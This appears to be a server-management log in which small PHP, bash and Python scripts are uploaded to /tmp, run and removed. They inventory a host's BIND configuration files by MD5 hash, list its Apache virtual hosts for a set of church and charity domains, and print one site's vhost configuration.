qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-10-09 11:20:10: Establishing a connection
2025-10-09 11:20:10: 

PUT: /tmp/pkp866713

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-10-09 11:20:10: 

runuser -l bind -s /bin/bash -c '/tmp/pkp866713; rm /tmp/pkp866713'

2025-10-09 11:20:10: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= a3d92972abbb369edf3baf47c3e33e8b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-10-09 11:20:19: Establishing a connection
2025-10-09 11:20:19: 

PUT: /tmp/pkp966575

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-10-09 11:20:19: 

chmod 755 /tmp/pkp966575; /tmp/pkp966575; rm /tmp/pkp966575

2025-10-09 11:20:19: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-09 11:20:19: 

PUT: /tmp/pkp223424

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-09 11:20:19: 

chmod 755 /tmp/pkp223424; /tmp/pkp223424; rm /tmp/pkp223424

2025-10-09 11:20:19: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf	1362

<VirtualHost *:80>
    ServerName	carelinksaustralia.info
    ServerAdmin	do_not_email@example.com
    ServerAlias www.carelinksaustralia.info
    DocumentRoot	/var/www/carelinksaustralia_www
    <Directory /var/www/carelinksaustralia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksaustralia/www_access.log combined
    ErrorLog	/var/log/apache2/carelinksaustralia/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

